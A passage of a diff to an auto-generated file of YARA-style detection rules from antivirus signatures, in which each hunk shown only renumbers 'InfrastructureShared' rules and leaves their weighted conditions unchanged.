"!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335092,7 +351931,7 @@ rule _InfrastructureShared_25540{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25541{ +rule _InfrastructureShared_26855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335102,7 +351941,7 @@ rule _InfrastructureShared_25541{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25542{ +rule _InfrastructureShared_26856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335112,7 +351951,7 @@ rule _InfrastructureShared_25542{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25543{ +rule _InfrastructureShared_26857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335122,7 +351961,7 @@ rule _InfrastructureShared_25543{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25544{ +rule _InfrastructureShared_26858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335132,7 +351971,7 @@ rule _InfrastructureShared_25544{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25545{ +rule _InfrastructureShared_26859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335142,7 +351981,7 @@ rule _InfrastructureShared_25545{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25546{ +rule _InfrastructureShared_26860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335152,7 +351991,7 @@ rule _InfrastructureShared_25546{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25547{ +rule _InfrastructureShared_26861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335162,7 +352001,7 @@ rule _InfrastructureShared_25547{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25548{ +rule _InfrastructureShared_26862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335172,7 +352011,7 @@ rule _InfrastructureShared_25548{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25549{ +rule _InfrastructureShared_26863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335182,7 +352021,7 @@ rule _InfrastructureShared_25549{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25550{ +rule _InfrastructureShared_26864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335192,7 +352031,7 @@ rule _InfrastructureShared_25550{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25551{ +rule _InfrastructureShared_26865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335202,7 +352041,7 @@ rule _InfrastructureShared_25551{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25552{ +rule _InfrastructureShared_26866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335212,7 +352051,7 @@ rule _InfrastructureShared_25552{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25553{ +rule _InfrastructureShared_26867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335222,7 +352061,7 @@ rule _InfrastructureShared_25553{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25554{ +rule _InfrastructureShared_26868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335232,7 +352071,7 @@ rule _InfrastructureShared_25554{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25555{ +rule _InfrastructureShared_26869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335242,7 +352081,7 @@ rule _InfrastructureShared_25555{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25556{ +rule _InfrastructureShared_26870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335252,7 +352091,7 @@ rule _InfrastructureShared_25556{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25557{ +rule _InfrastructureShared_26871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335262,7 +352101,7 @@ rule _InfrastructureShared_25557{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25558{ +rule _InfrastructureShared_26872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335272,7 +352111,7 @@ rule _InfrastructureShared_25558{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25559{ +rule _InfrastructureShared_26873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335282,7 +352121,7 @@ rule _InfrastructureShared_25559{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25560{ +rule _InfrastructureShared_26874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335292,7 +352131,7 @@ rule _InfrastructureShared_25560{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25561{ +rule _InfrastructureShared_26875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335302,7 +352141,7 @@ rule _InfrastructureShared_25561{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25562{ +rule _InfrastructureShared_26876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335312,7 +352151,7 @@ rule _InfrastructureShared_25562{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25563{ +rule _InfrastructureShared_26877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335322,7 +352161,7 @@ rule _InfrastructureShared_25563{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25564{ +rule _InfrastructureShared_26878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335332,7 +352171,7 @@ rule _InfrastructureShared_25564{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25565{ +rule _InfrastructureShared_26879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335342,7 +352181,7 @@ rule _InfrastructureShared_25565{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25566{ +rule _InfrastructureShared_26880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335352,7 +352191,7 @@ rule _InfrastructureShared_25566{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25567{ +rule _InfrastructureShared_26881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335362,7 +352201,7 @@ rule _InfrastructureShared_25567{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25568{ +rule _InfrastructureShared_26882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335372,7 +352211,7 @@ rule _InfrastructureShared_25568{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25569{ +rule _InfrastructureShared_26883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335382,7 +352221,7 @@ rule _InfrastructureShared_25569{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25570{ +rule _InfrastructureShared_26884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335392,7 +352231,7 @@ rule _InfrastructureShared_25570{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25571{ +rule _InfrastructureShared_26885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335402,7 +352241,7 @@ rule _InfrastructureShared_25571{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25572{ +rule _InfrastructureShared_26886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335412,7 +352251,7 @@ rule _InfrastructureShared_25572{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25573{ +rule _InfrastructureShared_26887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335422,7 +352261,7 @@ rule _InfrastructureShared_25573{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25574{ +rule _InfrastructureShared_26888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335432,7 +352271,7 @@ rule _InfrastructureShared_25574{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25575{ +rule _InfrastructureShared_26889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335442,7 +352281,7 @@ rule _InfrastructureShared_25575{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25576{ +rule _InfrastructureShared_26890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335452,7 +352291,7 @@ rule _InfrastructureShared_25576{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25577{ +rule _InfrastructureShared_26891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335462,7 +352301,7 @@ rule _InfrastructureShared_25577{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25578{ +rule _InfrastructureShared_26892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335472,7 +352311,7 @@ rule _InfrastructureShared_25578{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25579{ +rule _InfrastructureShared_26893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335482,7 +352321,7 @@ rule _InfrastructureShared_25579{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25580{ +rule _InfrastructureShared_26894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335492,7 +352331,7 @@ rule _InfrastructureShared_25580{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25581{ +rule _InfrastructureShared_26895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335502,7 +352341,7 @@ rule _InfrastructureShared_25581{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25582{ +rule _InfrastructureShared_26896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335512,7 +352351,7 @@ rule _InfrastructureShared_25582{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25583{ +rule _InfrastructureShared_26897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335522,7 +352361,7 @@ rule _InfrastructureShared_25583{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25584{ +rule _InfrastructureShared_26898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335532,7 +352371,7 @@ rule _InfrastructureShared_25584{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25585{ +rule _InfrastructureShared_26899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335542,7 +352381,7 @@ rule _InfrastructureShared_25585{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25586{ +rule _InfrastructureShared_26900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335552,7 +352391,7 @@ rule _InfrastructureShared_25586{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25587{ +rule _InfrastructureShared_26901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335562,7 +352401,7 @@ rule _InfrastructureShared_25587{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25588{ +rule _InfrastructureShared_26902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335572,7 +352411,7 @@ rule _InfrastructureShared_25588{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25589{ +rule _InfrastructureShared_26903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335582,7 +352421,7 @@ rule _InfrastructureShared_25589{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25590{ +rule _InfrastructureShared_26904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335592,7 +352431,7 @@ rule _InfrastructureShared_25590{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25591{ +rule _InfrastructureShared_26905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335602,7 +352441,7 @@ rule _InfrastructureShared_25591{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25592{ +rule _InfrastructureShared_26906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335612,7 +352451,7 @@ rule _InfrastructureShared_25592{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25593{ +rule _InfrastructureShared_26907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335622,7 +352461,7 @@ rule _InfrastructureShared_25593{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25594{ +rule _InfrastructureShared_26908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335632,7 +352471,7 @@ rule _InfrastructureShared_25594{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25595{ +rule _InfrastructureShared_26909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335642,7 +352481,7 @@ rule _InfrastructureShared_25595{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25596{ +rule _InfrastructureShared_26910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335652,7 +352491,7 @@ rule _InfrastructureShared_25596{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25597{ +rule _InfrastructureShared_26911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335662,7 +352501,7 @@ rule _InfrastructureShared_25597{ ((#a_73_0 & 1)*16931) >=1 } -rule _InfrastructureShared_25598{ +rule _InfrastructureShared_26912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335672,7 +352511,7 @@ rule _InfrastructureShared_25598{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25599{ +rule _InfrastructureShared_26913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335682,7 +352521,7 @@ rule _InfrastructureShared_25599{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25600{ +rule _InfrastructureShared_26914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335692,7 +352531,7 @@ rule _InfrastructureShared_25600{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25601{ +rule _InfrastructureShared_26915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335702,7 +352541,7 @@ rule _InfrastructureShared_25601{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25602{ +rule _InfrastructureShared_26916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335712,7 +352551,7 @@ rule _InfrastructureShared_25602{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25603{ +rule _InfrastructureShared_26917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335722,7 +352561,7 @@ rule _InfrastructureShared_25603{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25604{ +rule _InfrastructureShared_26918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335732,7 +352571,7 @@ rule _InfrastructureShared_25604{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25605{ +rule _InfrastructureShared_26919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335742,7 +352581,7 @@ rule _InfrastructureShared_25605{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25606{ +rule _InfrastructureShared_26920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335752,7 +352591,7 @@ rule _InfrastructureShared_25606{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25607{ +rule _InfrastructureShared_26921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335762,7 +352601,7 @@ rule _InfrastructureShared_25607{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25608{ +rule _InfrastructureShared_26922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335772,7 +352611,7 @@ rule _InfrastructureShared_25608{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_25609{ +rule _InfrastructureShared_26923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335782,7 +352621,7 @@ rule _InfrastructureShared_25609{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_25610{ +rule _InfrastructureShared_26924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335792,7 +352631,7 @@ rule _InfrastructureShared_25610{ ((#a_73_0 & 1)*16931) >=1 } -rule _InfrastructureShared_25611{ +rule _InfrastructureShared_26925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -335802,7 +352641,7 @@ rule _InfrastructureShared_25611{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_25612{ +rule _InfrastructureShared_26926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335812,7 +352651,7 @@ rule _InfrastructureShared_25612{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_25613{ +rule _InfrastructureShared_26927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335822,7 +352661,7 @@ rule _InfrastructureShared_25613{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_25614{ +rule _InfrastructureShared_26928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335832,7 +352671,7 @@ rule _InfrastructureShared_25614{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_25615{ +rule _InfrastructureShared_26929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335842,7 +352681,7 @@ rule _InfrastructureShared_25615{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_25616{ +rule _InfrastructureShared_26930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 02 00 21 " @@ -335853,7 +352692,7 @@ rule _InfrastructureShared_25616{ ((#a_76_0 & 1)*27171+(#a_bd_1 & 1)*-19414) >=2 } -rule _InfrastructureShared_25617{ +rule _InfrastructureShared_26931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335863,7 +352702,7 @@ rule _InfrastructureShared_25617{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25618{ +rule _InfrastructureShared_26932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335873,7 +352712,7 @@ rule _InfrastructureShared_25618{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25619{ +rule _InfrastructureShared_26933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335883,7 +352722,7 @@ rule _InfrastructureShared_25619{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_25620{ +rule _InfrastructureShared_26934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335893,7 +352732,7 @@ rule _InfrastructureShared_25620{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25621{ +rule _InfrastructureShared_26935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335903,7 +352742,7 @@ rule _InfrastructureShared_25621{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25622{ +rule _InfrastructureShared_26936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335913,7 +352752,7 @@ rule _InfrastructureShared_25622{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25623{ +rule _InfrastructureShared_26937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335923,7 +352762,7 @@ rule _InfrastructureShared_25623{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25624{ +rule _InfrastructureShared_26938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335933,7 +352772,7 @@ rule _InfrastructureShared_25624{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25625{ +rule _InfrastructureShared_26939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335943,7 +352782,7 @@ rule _InfrastructureShared_25625{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25626{ +rule _InfrastructureShared_26940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335953,7 +352792,7 @@ rule _InfrastructureShared_25626{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_25627{ +rule _InfrastructureShared_26941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335963,7 +352802,7 @@ rule _InfrastructureShared_25627{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25628{ +rule _InfrastructureShared_26942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335973,7 +352812,7 @@ rule _InfrastructureShared_25628{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25629{ +rule _InfrastructureShared_26943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335983,7 +352822,7 @@ rule _InfrastructureShared_25629{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25630{ +rule _InfrastructureShared_26944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -335993,7 +352832,7 @@ rule _InfrastructureShared_25630{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25631{ +rule _InfrastructureShared_26945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336003,7 +352842,7 @@ rule _InfrastructureShared_25631{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25632{ +rule _InfrastructureShared_26946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336013,7 +352852,7 @@ rule _InfrastructureShared_25632{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25633{ +rule _InfrastructureShared_26947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336023,7 +352862,7 @@ rule _InfrastructureShared_25633{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25634{ +rule _InfrastructureShared_26948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336033,7 +352872,7 @@ rule _InfrastructureShared_25634{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25635{ +rule _InfrastructureShared_26949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336043,7 +352882,7 @@ rule _InfrastructureShared_25635{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25636{ +rule _InfrastructureShared_26950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336053,7 +352892,7 @@ rule _InfrastructureShared_25636{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_25637{ +rule _InfrastructureShared_26951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336063,7 +352902,7 @@ rule _InfrastructureShared_25637{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_25638{ +rule _InfrastructureShared_26952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336073,7 +352912,7 @@ rule _InfrastructureShared_25638{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25639{ +rule _InfrastructureShared_26953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336083,7 +352922,7 @@ rule _InfrastructureShared_25639{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25640{ +rule _InfrastructureShared_26954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -336093,7 +352932,7 @@ rule _InfrastructureShared_25640{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25641{ +rule _InfrastructureShared_26955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 02 00 21 " @@ -336104,7 +352943,7 @@ rule _InfrastructureShared_25641{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*30575) >=1 } -rule 